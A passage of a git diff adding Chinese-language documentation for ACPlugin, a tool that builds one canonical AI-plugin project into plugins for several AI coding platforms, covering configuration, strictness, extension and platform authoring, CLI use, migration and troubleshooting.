+| `transform` | 经过受控转换后保持语义 | +| `degraded` | 产物可用,但部分语义或控制能力丢失 | +| `unsupported` | 目标平台不能提供经过验证的实现 | + +## 严格度层级 + +全局默认 `build.strict: true`。Platform factory 可以单独覆盖: + +```ts +export default defineConfig({ + // ...metadata + platforms: [ + claudeCode(), + codex({ strict: false }), + ], +}); +``` + +CLI 的 `--strict` 或 `--no-strict` 覆盖本次选择的全部 Platform,适合 CI 临时策略。优先级是 CLI override → Platform override → `build.strict` 默认。 + +Relaxed 模式只允许功能兼容性继续构建,并保留完整报告。以下错误始终失败: + +- 配置、Frontmatter、依赖图或 Schema 无效; +- Artifact 来源越权、路径冲突或 owner 冲突; +- Extension/Adapter API 不兼容; +- DeliveryUnit 最终校验或 transaction 失败。 + +建议默认 strict,只在明确接受一个已审查的降级时对特定 Platform 放宽,并在 CI 检查报告中允许的诊断集合。 diff --git a/packages/docs/config/index.md b/packages/docs/config/index.md new file mode 100644 index 0000000..3e51a67 --- /dev/null +++ b/packages/docs/config/index.md @@ -0,0 +1,22 @@ +# 配置参考 + +`acplugin.config.ts` 负责工程元数据、显式 Platform/Extension 实例和构建策略。通用配置与各平台专属 options 分开说明。 + +```ts +import { defineConfig } from '@tokenroll/acplugin'; +import claudeCode from '@tokenroll/acplugin-platform-claude-code'; + +export default defineConfig({ + name: 'my-plugin', + version: '1.0.0', + description: 'Reusable AI workflows.', + platforms: [claudeCode()], +}); +``` + +`platforms` 是必填数组,没有运行时默认。配置也可以导出同步或异步函数,接收稳定的 `{ command, mode }`;不要在配置中读取未声明的机器环境来改变生产产物。 + +- [工程元数据](./project-metadata.md) +- [Public 文件](./public-files.md) +- [构建选项](./build-options.md) +- [兼容性与 strict](./compatibility-and-strictness.md) diff --git a/packages/docs/config/project-metadata.md b/packages/docs/config/project-metadata.md new file mode 100644 index 0000000..eb915da --- /dev/null +++ b/packages/docs/config/project-metadata.md @@ -0,0 +1,36 @@ +# 工程元数据 + +| 字段 | 必填 | 约束 | +| --- | --- | --- | +| `name` | 是 | 小写 kebab-case | +| `version` | 是 | 完整合法 SemVer | +| `description` | 是 | 非空字符串 | +| `displayName` | 否 | 非空展示名 | +| `author` | 否 | `{ name, email?, url? }` | +| `homepage` | 否 | 绝对 HTTP(S) URL | +| `repository` | 否 | 绝对 HTTP(S) URL | +| `license` | 否 | 合法 SPDX expression | +| `keywords` | 否 | 非空、去空白后不重复的字符串数组 | + +```ts +export default defineConfig({ + name: 'review-tools', + version: '1.2.0', + description: 'Shared repository review workflows.', + displayName: 'Review Tools', + author: { + name: 'Example Team', + email: 'maintainers@example.com', + url: 'https://example.com/team', + }, + homepage: 'https://example.com/review-tools', + repository: 'https://github.com/example/review-tools', + license: 'MIT', + keywords: ['review', 'workflow'], + platforms: [claudeCode()], +}); +``` + +Platform 会逐字段报告元数据是 native、transform、degraded、unsupported 或 omitted。一个目标 Schema 不支持某字段时不会偷偷写入未知字段。 + +完整类型见 [`UserConfig`](/api/@tokenroll/acplugin/interfaces/UserConfig.md) 与 [`PluginMetadata`](/api/@tokenroll/acplugin/interfaces/PluginMetadata.md)。 diff --git a/packages/docs/config/public-files.md b/packages/docs/config/public-files.md new file mode 100644 index 0000000..d4fdc9f --- /dev/null +++ b/packages/docs/config/public-files.md @@ -0,0 +1,38 @@ +# Public 文件 + +默认情况下,Core 扫描工程根的 `public/`,把其中普通文件作为每个平台的公共 Artifact 输入。内容按 bytes 处理,可执行位规范为 `0755`,其他普通文件为 `0644`。 + +## 关闭或改目录 + +```ts +export default defineConfig({ + // ...metadata and platforms + public: false, +}); +``` + +```ts +export default defineConfig({ + // ...metadata and platforms + public: 'static', +}); +``` + +## Copy rules + +```ts +export default defineConfig({ + // ...metadata and platforms + public: { + dir: 'assets', + copy: [ + { from: 'templates', to: 'resources/templates' }, + { from: 'LICENSE', to: 'LICENSE' }, + ], + }, +}); +``` + +`from` 与 `to` 都必须是安全相对路径,不能含绝对路径、NUL 或 `..` 片段。来源必须是 Scanner 精确发现的普通文件;符号链接和特殊文件会失败。 + +Public 路径仍受全局大小写、Unicode normalization、文件/目录和 owner 冲突检查。它不能覆盖 Platform 或 Extension 已拥有的 Artifact。 diff --git a/packages/docs/ecosystem/artifacts-and-documents.md b/packages/docs/ecosystem/artifacts-and-documents.md new file mode 100644 index 0000000..e38d23c --- /dev/null +++ b/packages/docs/ecosystem/artifacts-and-documents.md @@ -0,0 +1,24 @@ +# Artifact 与 Document + +## Artifact + +Artifact 只有两种来源:驻留内存的 `bytes`,或已经验证的普通 `file`。mode 只允许 `0644`/`0755`。Core 计算 size 与 SHA-256,并在 owner 授权、路径和碰撞校验后才允许进入 DeliveryUnit。 + +路径拒绝: + +- POSIX/Win32 绝对路径、NUL、任何 `..` 片段; +- 符号链接和特殊文件; +- 大小写、Unicode normalization、文件/目录冲突; +- Platform/Extension/Public 跨 owner 来源越权。 + +## Document + +Platform `prepare` 可以创建结构化 JSON/YAML/TOML Document,并明确列出 extension points。Adapter 获得只读快照,只能 add-only patch 当前仍为空且已声明的字段。 + +owner-aware merge 不提供 replace、remove、array append 或深度覆盖。同一字段被两个 owner 写入时稳定失败。完成 Adapter 后,Platform 收到冻结的最终 Draft,再自行序列化和验证。 + +## DeliveryUnit 与 transaction + +Platform 先生成并验证 primary DeliveryUnit,再可基于已验证主单元生成 Marketplace 等 Distribution。继承 Artifact 必须保留 owner、mode、size 与 hash。 + +所有选中目标都通过后,Core 才按锁 → 恢复 → stage → 校验 → backup → swap → cleanup 提交托管 `dist`。任何失败保留上一次完整输出。 diff --git a/packages/docs/ecosystem/extension-authoring.md b/packages/docs/ecosystem/extension-authoring.md new file mode 100644 index 0000000..cc356d9 --- /dev/null +++ b/packages/docs/ecosystem/extension-authoring.md @@ -0,0 +1,29 @@ +# Extension 开发 + +Extension 表达横向作者能力,并通过一个或多个 `ExtensionPlatformAdapter` 参与对应 Platform Draft。 + +```ts +import { defineExtension } from '@tokenroll/acplugin'; + +export function notices() { + return defineExtension({ + name: 'example-notices', + apiVersion: '1', + discover: async () => ({ enabled: true }), + validate: (_context, discovered) => discovered, + build: (_context, validated) => validated, + adapters: [], + }); +} +``` + +完整 Extension 应定义自己的作者目录、验证和 built state,再为明确支持的 Platform 提供 Adapter。Adapter 可: + +- 读取 Platform 已公开的只读 Document; +- 向声明的 extension point add-only patch 新字段; +- 追加 owner 为自身的 Artifact; +- 报告兼容性与诊断。 + +Adapter 不能替换 Platform、完整 Document 或已有字段,也不能读取其他 Extension state。Extension 没有依赖图或 enforce/order API;配置顺序是固定执行顺序,但不能用它建立覆盖语义。两个 owner 写同字段或同 Artifact path 会稳定冲突,而不是 last-writer-wins。 + +查看 [`defineExtension()`](/api/@tokenroll/acplugin/functions/defineExtension.md) 和 [`ExtensionPlatformAdapter`](/api/@tokenroll/acplugin/interfaces/ExtensionPlatformAdapter.md)。 diff --git a/packages/docs/ecosystem/index.md b/packages/docs/ecosystem/index.md new file mode 100644 index 0000000..2a29122 --- /dev/null +++ b/packages/docs/ecosystem/index.md @@ -0,0 +1,11 @@ +# 生态开发 + +第三方作者使用 `@tokenroll/acplugin` 公开 SDK 创建 Platform 或 Extension,不依赖私有 Core。 + +- [Platform 开发](./platform-authoring.md) +- [Extension 开发](./extension-authoring.md) +- [Lifecycle 契约](./lifecycle-contract.md) +- [Artifact 与 Document](./artifacts-and-documents.md) +- [Package 与 peer 边界](./package-and-peer-boundaries.md) + +ACPlugin 没有中央 registry、包名强制或自动 npm discovery。用户显式 import 并实例化品牌化对象,Core 只检查公开 API version 与 runtime brand。 diff --git a/packages/docs/ecosystem/lifecycle-contract.md b/packages/docs/ecosystem/lifecycle-contract.md new file mode 100644 index 0000000..0a5e7a4 --- /dev/null +++ b/packages/docs/ecosystem/lifecycle-contract.md @@ -0,0 +1,25 @@ +# Lifecycle 契约 + +Core 是唯一阶段调度者: + +```text +configResolved → buildStart → Extension.discover → Scanner +→ Extension.validate → Extension.build → Platform.prepare +→ Adapter.apply → Platform.generateBundle → Platform.validateBundle +→ generateDistributions → compatibility → transaction → buildEnd +``` + +## 顺序规则 + +- Platform 与 Extension 按配置中的稳定顺序初始化。 +- Adapter 只在 Extension 和目标 Platform API version 同时匹配时应用。 +- `buildEnd` 对已经初始化的参与者按逆序调用,成功和失败都会执行。 +- 一个 Extension 不能访问另一个 Extension 的 discovered、validated 或 built state。 + +因此第三方实现不能依赖“某个扩展先覆盖另一个扩展”。同一 add-only 字段或 Artifact path 的竞争是错误;不同扩展点的结果在内容上可独立,但诊断和 lifecycle 调用仍遵守配置顺序。 + +## Context 边界 + +Context 只公开当前阶段需要的只读 project、稳定 config snapshot、独占 workDir、诊断/兼容性出口和受控注册方法。不要保存 Context 跨 build 使用,也不要根据临时绝对路径生成内容。 + +API version 当前是 `1`。版本不匹配在配置或 Adapter 选择阶段失败,不提供 shape fallback。 diff --git a/packages/docs/ecosystem/package-and-peer-boundaries.md b/packages/docs/ecosystem/package-and-peer-boundaries.md new file mode 100644 index 0000000..66c8086 --- /dev/null +++ b/packages/docs/ecosystem/package-and-peer-boundaries.md @@ -0,0 +1,34 @@ +# Package 与 peer 边界 + +第三方 Platform/Extension 应把 `@tokenroll/acplugin` 声明为 peer dependency,并在开发时同时放入 dev dependency: + +```json +{ + "name": "example-acplugin-platform", + "version": "1.0.0", + "type": "module", + "exports": { + ".": { + "types": "./dist/index.d.mts", + "import": "./dist/index.mjs" + } + }, + "peerDependencies": { + "@tokenroll/acplugin": "^1.0.0" + }, + "devDependencies": { + "@tokenroll/acplugin": "^1.0.0" + } +} +``` + +运行时代码不得 import `@acplugin/core`,也不应依赖另一个集成的私有实现。包名、scope 和版本可以独立选择;兼容性由 `apiVersion` 与主包 peer range 表达。 + +发布前至少验证: + +1. ESM-only exports 和声明文件可由 clean consumer 加载。 +2. tarball manifest 不包含 `workspace:`、`@acplugin/*` 或仓库相对路径。 +3. Platform/Extension bundle externalize 主包 peer。 +4. 从 tarball 安装后,品牌化 factory result 能被真实 CLI 接受并完成 build。 + +官方九个包遵守同一模型,不拥有第三方无法使用的 Core 旁路。 diff --git a/packages/docs/ecosystem/platform-authoring.md b/packages/docs/ecosystem/platform-authoring.md new file mode 100644 index 0000000..269aaa2 --- /dev/null +++ b/packages/docs/ecosystem/platform-authoring.md @@ -0,0 +1,50 @@ +# Platform 开发 + +Platform 把 Canonical `PluginProject` 编译成一种目标交付格式。第三方 package 只从 `@tokenroll/acplugin` 导入 SDK: + +```ts +import { + bytesArtifact, + definePlatform, + stableJson, +} from '@tokenroll/acplugin'; + +export function examplePlatform() { + return definePlatform({ + id: 'example', + apiVersion: '1', + deliveryType: 'plugin', + options: {}, + prepare: context => ({ + documents: [{ + id: 'manifest', + path: 'plugin.json', + format: 'json', + owner: 'platform:example', + value: { name: context.project.metadata.name }, + extensionPoints: [], + }], + artifacts: [], + }), + generateBundle: (context) => { + const manifest = context.documents.find(document => document.id === 'manifest'); + if (!manifest) + throw new Error('Platform draft is missing its manifest.'); + return { + id: 'plugin', + role: 'primary', + type: 'plugin', + artifacts: [ + ...context.artifacts, + bytesArtifact('plugin.json', stableJson(manifest.value)), + ], + }; + }, + validateBundle: async () => {}, + }); +} +``` + +真实实现还应提供 Component field validator、逐资源 compatibility、最终候选 Schema 校验和必要的 Distribution。Platform 只能读取自己的 workDir、Scanner 精确发现的 Component/Skill auxiliary 与已公开 Document;不能直接写 `dist`。 + +不要 import `@acplugin/core`,不要依赖官方 Platform/Extension 实现,也不要在 Core 中申请平台 ID 分支。公共契约见 [`definePlatform()`](/api/@tokenroll/acplugin/functions/definePlatform.md) 与 [`PlatformDefinition`](/api/@tokenroll/acplugin/interfaces/PlatformDefinition.md)。 diff --git a/packages/docs/extensions/hooks.md b/packages/docs/extensions/hooks.md new file mode 100644 index 0000000..ca5f5e1 --- /dev/null +++ b/packages/docs/extensions/hooks.md @@ -0,0 +1,53 @@ +# Hooks Extension + +## 安装与启用 + +```bash +pnpm add -D @tokenroll/acplugin-extension-hooks +``` + +```ts +import { defineConfig } from '@tokenroll/acplugin'; +import hooks from '@tokenroll/acplugin-extension-hooks'; +import claudeCode from '@tokenroll/acplugin-platform-claude-code'; + +export default defineConfig({ + name: 'my-plugin', + version: '1.0.0', + description: 'Reusable AI workflows.', + platforms: [claudeCode()], + extensions: [hooks()], +}); +``` + +`hooks({ include: ['policy'] })` 可以只构建指定的小写 kebab-case ID。 + +## 作者格式 + +```ts +// src/hooks/policy/hook.ts +import { defineHook } from '@tokenroll/acplugin-extension-hooks'; + +export default defineHook({ + event: 'PreToolUse', + matcher: 'Bash|Write|Edit', + timeout: 10, + async run(input, context) { + return input.toolName === 'Bash' + ? { decision: 'allow' } + : { decision: 'deny', reason: `Denied on ${context.platform}.` }; + }, +}); +``` + +Portable events 是 `SessionStart`、`SessionEnd`、`UserPromptSubmit`、`PreToolUse`、`PermissionRequest`、`PostToolUse`、`PreCompact`、`PostCompact`、`SubagentStart`、`SubagentStop`、`Stop`。平台专属事件必须写成 `{ platform, name }`。 + +## 运行与安全边界 + +Extension 把每个 handler bundle 一次为 Node 20 ESM。Adapter 生成相邻 wire,负责目标 stdin schema、camelCase 转换、root/data 映射和 stdout 协议。共享 runner 限制输入输出为 1 MiB、捕获顶层错误并只发稳定错误码。 + +作者不能声明 shell command、绝对 executable、HTTP callback 或其他原始目标协议。第三方依赖进入 bundle 时生成相邻 `THIRD_PARTY_LICENSES.txt`。 + +事件/字段兼容性见[完整矩阵](/resources/compatibility-matrix)。strict 模式拒绝 degraded/unsupported;relaxed 也只会生成验证过的 handler。 + +[Hooks package API](/api/@tokenroll/acplugin-extension-hooks/) diff --git a/packages/docs/extensions/index.md b/packages/docs/extensions/index.md new file mode 100644 index 0000000..e932f6e --- /dev/null +++ b/packages/docs/extensions/index.md @@ -0,0 +1,8 @@ +# 官方扩展 + +Hooks 与 MCP 是独立公开 Extension package,通过官方 Adapter 参与已配置 Platform 的构建。 + +- [Hooks](./hooks.md)统一书写语义 handler,由 Adapter 拥有目标 stdin/stdout 协议。 +- [MCP](./mcp.md)覆盖 portable HTTP 声明与完整 local stdio server。 + +Extension 不是 Core 的 optional flag。只有安装 package、在 `extensions` 中实例化后,相应作者目录才合法。 diff --git a/packages/docs/extensions/mcp.md b/packages/docs/extensions/mcp.md new file mode 100644 index 0000000..cb1d9d6 --- /dev/null +++ b/packages/docs/extensions/mcp.md @@ -0,0 +1,58 @@ +# MCP Extension + +## 安装与启用 + +```bash +pnpm add -D @tokenroll/acplugin-extension-mcp +``` + +```ts +import { defineConfig } from '@tokenroll/acplugin'; +import mcp from '@tokenroll/acplugin-extension-mcp'; +import claudeCode from '@tokenroll/acplugin-platform-claude-code'; + +export default defineConfig({ + name: 'my-plugin', + version: '1.0.0', + description: 'Reusable AI workflows.', + platforms: [claudeCode()], + extensions: [mcp()], +}); +``` + +`mcp({ include: ['docs'] })` 可以只构建指定 Server。 + +## Remote HTTP + +```ts +// src/mcp/docs/mcp.ts +import { defineMcpServer } from '@tokenroll/acplugin-extension-mcp'; + +export default defineMcpServer({ + transport: 'http', + url: 'https://example.com/mcp', + auth: { type: 'bearer', env: 'DOCS_TOKEN' }, + headers: { 'X-Tenant': { env: 'TENANT_ID' } }, +}); +``` + +Secret 只用 `{ env }` 引用,构建过程不会读取值。Production endpoint 必须 HTTPS;development 仅允许 loopback HTTP。 + +## Local stdio + +```ts +// src/mcp/local-tools/mcp.ts +import { defineMcpServer } from '@tokenroll/acplugin-extension-mcp'; + +export default defineMcpServer({ + transport: 'stdio', + entry: 'server.ts', + env: { API_TOKEN: { env: 'LOCAL_API_TOKEN' } }, +}); +``` + +本地 Server 必须是完整实现。Extension bundle Node 20 ESM,拒绝未解析动态 import,并使用声明的 literal 环境值执行有界 `initialize → initialized → tools/list` smoke;Secret 引用不会被读取。 + +HTTP 在 Claude Code、Codex、Cursor、Antigravity、OpenCode 原生,Pi unsupported。Local stdio 在 Claude Code、Codex、OpenCode 原生,其余平台 unsupported。 + +[MCP package API](/api/@tokenroll/acplugin-extension-mcp/) diff --git a/packages/docs/guide/build-and-validate.md b/packages/docs/guide/build-and-validate.md new file mode 100644 index 0000000..d4a478d --- /dev/null +++ b/packages/docs/guide/build-and-validate.md @@ -0,0 +1,37 @@ +# 构建与校验 + +## 四个项目命令 + +- `validate`:执行完整候选生成与校验,但不提交新的托管输出。 +- `inspect`:执行同一流水线,并在人类可读输出中列出 Component、Extension、Platform、Document、DeliveryUnit 与 Artifact。 +- `build`:验证全部选中目标后,按事务整体替换 `dist`。 +- `dev`:监听真实依赖并保留最后一次成功输出。 + +它们共享 `--config`、`--platform`、`--mode`、`--strict/--no-strict` 和 `--json`,不会维护第二条构建路径。 + +## 固定 lifecycle + +```text +configResolved → buildStart → Extension.discover → Scanner +→ Extension.validate/build → Platform.prepare → Adapter.apply +→ Platform.generateBundle/validateBundle → distributions +→ compatibility → transaction → buildEnd +``` + +`buildEnd` 在成功和失败时都按初始化逆序执行,并只收到脱敏摘要。 + +## 兼容性与提交 + +每个资源按 Platform 记录 `native`、`transform`、`degraded` 或 `unsupported`。strict 模式拒绝 degraded/unsupported;relaxed 模式只放宽功能兼容性,不放宽结构、来源、路径、owner 或事务错误。 + +事务以选中 Platform 的完整目标集合为单位:锁、恢复、stage、校验、backup、swap、cleanup。任一目标失败都保留上一次完整输出。 + +## 稳定 JSON + +CI 建议使用: + +```bash +pnpm exec acplugin validate --json > build-report.json +``` + +报告不包含 Artifact bytes、时间戳、凭据、临时路径或机器绝对路径。字段和集合使用稳定顺序,适合作为自动化输入。 diff --git a/packages/docs/guide/cli.md b/packages/docs/guide/cli.md new file mode 100644 index 0000000..bdb90b1 --- /dev/null +++ b/packages/docs/guide/cli.md @@ -0,0 +1,40 @@ +# CLI + +## 初始化 + +```bash +pnpm exec acplugin init [directory] [options] +``` + +常用选项:`--yes`、`--name`、`--display-name`、`--description`、`--platform `、`--hooks`、`--mcp`、`--install`、`--json`。默认脚手架选择 Claude Code 与 Codex;这不是运行时默认。 + +## 项目流水线 + +```bash +pnpm exec acplugin validate +pnpm exec acplugin inspect +pnpm exec acplugin build +pnpm exec acplugin dev +``` + +共享选项: + +| 选项 | 含义 | +| --- | --- | +| `-c, --config ` | 使用另一个 TypeScript 配置文件 | +| `--platform ` | 只运行配置中已实例化的平台子集 | +| `--mode development\|production` | 传给函数式配置的模式 | +| `--strict` / `--no-strict` | 覆盖本次兼容性严格度 | +| `--json` | stdout 只输出一个稳定 JSON 报告 | + +未知、重复、空或未配置的 `--platform` 会失败。旧 `--target` 已删除,不是兼容 alias。 + +## Migration + +```bash +pnpm exec acplugin migrate [destination] [options] +``` + +支持本地路径和受支持的 GitHub 来源。`--dry-run` 在临时存储中生成并验证;`--strict` 在存在 degraded/unmapped 资源时失败。详细边界见 [Migration](./migration.md)。 + +CLI 使用错误与构建失败使用非零退出码。机器消费时始终加 `--json`,不要解析人类可读文本。 diff --git a/packages/docs/guide/commands-skills-agents.md b/packages/docs/guide/commands-skills-agents.md new file mode 100644 index 0000000..e948f77 --- /dev/null +++ b/packages/docs/guide/commands-skills-agents.md @@ -0,0 +1,56 @@ +# Commands、Skills 与 Agents + +三类 Component 都使用 YAML Frontmatter + 非空 Markdown 正文,并可通过 `requires` 建立依赖图。缺失依赖、自依赖和循环依赖都会在 Scanner 阶段失败。 + +## Command + +```md +--- +description: Deploy the selected service +argumentHint: " [environment]" +requires: + skills: + - release-policy +--- + +Deploy `{{arguments}}` only after checking the release policy. +``` + +允许字段是 `description`、`argumentHint`、`requires`、`platforms`。`{{arguments}}` 是唯一规范参数占位符;是否保留参数 UI 由 Platform 的兼容性报告说明。 + +## Skill + +```md +--- +description: Apply the repository release policy +invocation: + user: true + model: true +--- + +Read [the checklist](references/checklist.md) before approving a release. +``` + +`invocation.user` 与 `invocation.model` 默认为 `true`,不能同时为 `false`。`SKILL.md` 之外的普通文件会以 binary-safe 方式作为 auxiliary files 处理。 + +## Agent + +```md +--- +description: Investigate source and return an evidence-backed report +model: capable +capabilities: + - filesystem:read + - search +--- + +Inspect the requested area, cite file locations, and stop after reporting evidence. +``` + +`model` 只接受 `inherit`、`fast`、`capable`。可移植 capabilities 是 `filesystem:read`、`filesystem:write`、`search`、`shell`、`network`、`delegate`。 + +## 平台专属字段 + +Frontmatter 的 `platforms.` 只在对应 Platform 已配置时合法,并由该 Platform 自己验证。Core 不维护具体平台字段,也不会把未知对象透传到产物。 + +查看[兼容性矩阵](/resources/compatibility-matrix)了解三类 Component 在六个平台上的处理方式。 diff --git a/packages/docs/guide/getting-started.md b/packages/docs/guide/getting-started.md new file mode 100644 index 0000000..0ebd448 --- /dev/null +++ b/packages/docs/guide/getting-started.md @@ -0,0 +1,61 @@ +# 快速开始 + +## 环境要求 + +作者工程使用 pnpm、ESM 和 TypeScript。公开包当前支持 Node.js `^20.19.0 || ^22.13.0 || >=23.5.0`。 + +## 用 CLI 初始化 + +下面的命令创建一个私有工程,默认显式安装并配置 Claude Code 与 Codex: + +```bash +pnpm dlx @tokenroll/acplugin init my-plugin --yes --install +cd my-plugin +pnpm validate +pnpm build +``` + +`init` 的默认平台只属于脚手架;运行时没有隐藏默认值。最终 `acplugin.config.ts` 总是包含独立 package imports 和必填的 `platforms` 数组。 + +## 手工建立最小工程 + +```bash +pnpm add -D @tokenroll/acplugin \ + @tokenroll/acplugin-platform-claude-code \ + @tokenroll/acplugin-platform-codex +``` + +```ts +// acplugin.config.ts +import { defineConfig } from '@tokenroll/acplugin'; +import claudeCode from '@tokenroll/acplugin-platform-claude-code'; +import codex from '@tokenroll/acplugin-platform-codex'; + +export default defineConfig({ + name: 'my-plugin', + version: '1.0.0', + description: 'Reusable AI workflows.', + platforms: [claudeCode(), codex()], +}); +``` + +添加一个 Skill: + +```md + +--- +description: Review a change and report actionable findings +--- + +Inspect the requested change, verify each finding against source, and report severity. +``` + +然后运行: + +```bash +pnpm exec acplugin validate +pnpm exec acplugin inspect +pnpm exec acplugin build +``` + +默认输出目录是 `dist/`。它是框架完整托管的目录,不要在其中保存手写文件。继续阅读[工程结构](./project-structure.md)和[构建与校验](./build-and-validate.md)。 diff --git a/packages/docs/guide/index.md b/packages/docs/guide/index.md new file mode 100644 index 0000000..46bd5df --- /dev/null +++ b/packages/docs/guide/index.md @@ -0,0 +1,14 @@ +# 指南 + +从安装、初始化和第一次构建开始,再逐步理解 Canonical Components、兼容性、CLI 与 Migration 边界。 + +- [为什么使用 ACPlugin](./why-acplugin.md):理解 Canonical 工程与平台交付的分工。 +- [快速开始](./getting-started.md):创建并构建第一个工程。 +- [工程结构](./project-structure.md):认识被 Scanner 消费的目录。 +- [Commands、Skills 与 Agents](./commands-skills-agents.md):编写三类规范资源。 +- [构建与校验](./build-and-validate.md):理解兼容性、报告和事务。 +- [CLI](./cli.md):选择适合开发或 CI 的命令。 +- [Migration](./migration.md):隔离地迁移旧 Claude 工程。 +- [故障排查](./troubleshooting.md):按稳定诊断码定位问题。 + +如果你只想尽快看到产物,直接进入[快速开始](./getting-started.md)。准备开发第三方集成时,再阅读[生态开发](/ecosystem/)。 diff --git a/packages/docs/guide/migration.md b/packages/docs/guide/migration.md new file mode 100644 index 0000000..18de034 --- /dev/null +++ b/packages/docs/guide/migration.md @@ -0,0 +1,21 @@ +# Migration + +Migration 用于把旧 Claude 工程或 Plugin 转成新的 Canonical 源码。它位于主包的隔离 lazy chunk 中,正常 CLI 启动、Core、Platform 与 Extension 都不会 import legacy Scanner。 + +```bash +pnpm exec acplugin migrate ./legacy-project ./new-project --dry-run --json +``` + +## 安全边界 + +- 目标必须是新的或空目录;不会原地写旧工程。 +- 可安全映射的 Commands、Skills、Agents 进入 Canonical 目录。 +- Instructions、raw Hooks、外部命令 MCP 和其他不能安全映射的内容进入 `.acplugin-migration/unmapped/`。 +- 旧 Hook 引用文件只作为待人工迁移材料保留,不会伪装成 typed Hook。 +- 报告稳定列出每项来源、去向和未映射原因。 + +## Marketplace 来源 + +GitHub Marketplace 输入可通过 `--plugin ` 选择一个 Plugin,或用 `--all` 迁移全部。`--path` 指定仓库内子路径。 + +迁移完成后仍应手工检查 unmapped 内容,再在新目录中安装依赖并运行 `validate`。Migration 的容错读取不改变 Core 对新工程的严格类型规则。 diff --git a/packages/docs/guide/project-structure.md b/packages/docs/guide/project-structure.md new file mode 100644 index 0000000..7a7014b --- /dev/null +++ b/packages/docs/guide/project-structure.md @@ -0,0 +1,43 @@ +# 工程结构 + +一个完整作者工程可以包含: + +```text +acplugin.config.ts +src/ +├── commands/ +│ └── deploy.md +├── skills/ +│ └── review/ +│ ├── SKILL.md +│ └── references/checklist.md +├── agents/ +│ └── investigator.md +├── hooks/ # 启用 Hooks Extension 时 +│ └── session-start/hook.ts +└── mcp/ # 启用 MCP Extension 时 + └── docs/mcp.ts +public/ +└── templates/report.md +``` + +## Scanner 管理的内容 + +- Command 必须是 `src/commands/.md` 的一级 Markdown 文件。 +- Skill 必须是 `src/skills//SKILL.md`;同目录其他普通文件是 auxiliary resources。 +- Agent 必须是 `src/agents/.md` 的一级 Markdown 文件。 +- ID 使用小写 kebab-case。Markdown 必须有合法 YAML Frontmatter 和非空正文。 + +`srcDir` 可在配置中修改,但三个 Canonical 目录的相对结构不变。符号链接、特殊文件和目录层级错误会被拒绝。 + +## Extension 管理的内容 + +`src/hooks` 与 `src/mcp` 不是 Core Component。相应 Extension 的 `discover` 阶段拥有这些作者格式;目录非空但未启用 Extension 时,构建会失败,而不是静默忽略。 + +## Public + +默认 `public/` 中的普通文件会成为每个 Platform Draft 的公共输入。也可以通过 [Public 配置](/config/public-files)关闭、改目录或只复制选定路径。 + +## 输出 + +`dist/` 由事务层完整管理。Platform 和 Extension 只能写各自 workDir,再把经过 Core 授权的 Artifact 提交给候选 DeliveryUnit;不得直接写 `dist`。 diff --git a/packages/docs/guide/troubleshooting.md b/packages/docs/guide/troubleshooting.md new file mode 100644 index 0000000..4991fa5 --- /dev/null +++ b/packages/docs/guide/troubleshooting.md @@ -0,0 +1,29 @@ +# 故障排查 + +优先使用 `--json` 获取稳定诊断码、phase、fieldPath 和安全 location,不要依赖可能调整的人类文案。 + +## 配置失败 + +- `CONFIG_PLATFORMS_REQUIRED` / `CONFIG_PLATFORMS_EMPTY`:安装 Platform package,并把工厂结果放入必填 `platforms`。 +- `CONFIG_PLATFORM_INVALID`:不能手写 shape;使用官方工厂或公开 `definePlatform()`。 +- `CONFIG_DIRECTORY_OVERLAP`:`srcDir`、Public 和 `build.outDir` 不能互相包含。 +- `CONFIG_LEGACY_TARGETS` / `CONFIG_LEGACY_MODULES`:改用 `platforms` / `extensions`。 + +## Scanner 失败 + +- `FRONTMATTER_REQUIRED`:文件第一行必须是 `---`。 +- `MARKDOWN_BODY_REQUIRED`:Frontmatter 后必须有非空正文。 +- `SOURCE_SYMLINK_UNSUPPORTED`:换成工程内普通文件。 +- 依赖图错误:检查 `requires` 中的 ID、self edge 和完整循环。 + +## Extension 失败 + +发现 `src/hooks` 或 `src/mcp` 内容却未启用对应 Extension 时,安装独立 package 并添加 `extensions: [hooks()]` 或 `extensions: [mcp()]`。不要删除诊断或把目录放进 Public 来绕过验证。 + +## strict 失败 + +先运行 `inspect --json` 查看是哪一资源为 degraded/unsupported。确认目标平台确实允许降级后,才在全局 `build.strict`、单个 Platform factory 或 CLI `--no-strict` 中显式放宽。结构和安全错误不会被放宽。 + +## 事务或锁失败 + +不要手工删除未知 transaction/backup 内容。重新运行命令会先执行恢复;若持续失败,保留完整脱敏报告和目录结构再提交问题。 diff --git a/packages/docs/guide/why-acplugin.md b/packages/docs/guide/why-acplugin.md new file mode 100644 index 0000000..2cd393c --- /dev/null +++ b/packages/docs/guide/why-acplugin.md @@ -0,0 +1,37 @@ +# 为什么使用 ACPlugin + +AI 编程平台通常使用不同目录、Manifest 和运行协议描述相似的作者能力。直接维护六套输出会让内容、兼容性判断和安全边界逐渐分叉。ACPlugin 把这两个问题拆开:作者维护一份 Canonical 工程,Platform 负责把它编译成一种目标交付格式。 + +## 一条固定流水线 + +```text +Config → Core lifecycle → Scanner → Platform Draft + → Extension Adapter → DeliveryUnit validation → transaction → report +``` + +Core 固定阶段顺序、诊断、所有权和事务。Platform 只处理目标平台的 Component 转换、结构化 Document 和 DeliveryUnit。Extension 通过 Adapter 向 Platform 声明的扩展点 add-only 地加入横向能力。 + +这意味着: + +- CLI 与程序化 `runProject()` 走同一条 lifecycle。 +- 一个 Platform/Extension 失败时,不会提交部分新 `dist`。 +- 兼容性必须逐资源报告,不能静默丢掉能力。 +- 第三方实现使用主包公开的 `definePlatform()`、`defineExtension()`,不需要中央 registry。 + +## 独立 package,而不是主包开关 + +主包不重新导出官方 Platform 或 Extension。工程安装什么、实例化什么,就是构建图中存在什么: + +```ts +import { defineConfig } from '@tokenroll/acplugin'; +import cursor from '@tokenroll/acplugin-platform-cursor'; + +export default defineConfig({ + name: 'review-tools', + version: '1.0.0', + description: 'Shared review workflows.', + platforms: [cursor()], +}); +``` + +接下来阅读[快速开始](./getting-started.md),或查看[package map](/resources/package-map)。 diff --git a/packages/docs/index.md b/packages/docs/index.md new file mode 100644 index 0000000..86f7e6d --- /dev/null +++ b/packages/docs/index.md @@ -0,0 +1,84 @@ +--- +layout: home + +hero: + name: ACPlugin + text: 一次创作,多平台交付 + tagline: 用一套 Canonical 工程,稳定构建 Claude Code、Codex、Cursor、Antigravity、OpenCode 与 Pi 交付产物。 + image: + src: /acplugin-mark.svg + alt: 香蕉形字母 C 组成的 ACPlugin 标志 + actions: + - theme: brand + text: 🍌 快速开始 + link: /guide/getting-started + - theme: alt + text: 浏览 API + link: /api/ + +features: + - icon: ✍️ + title: 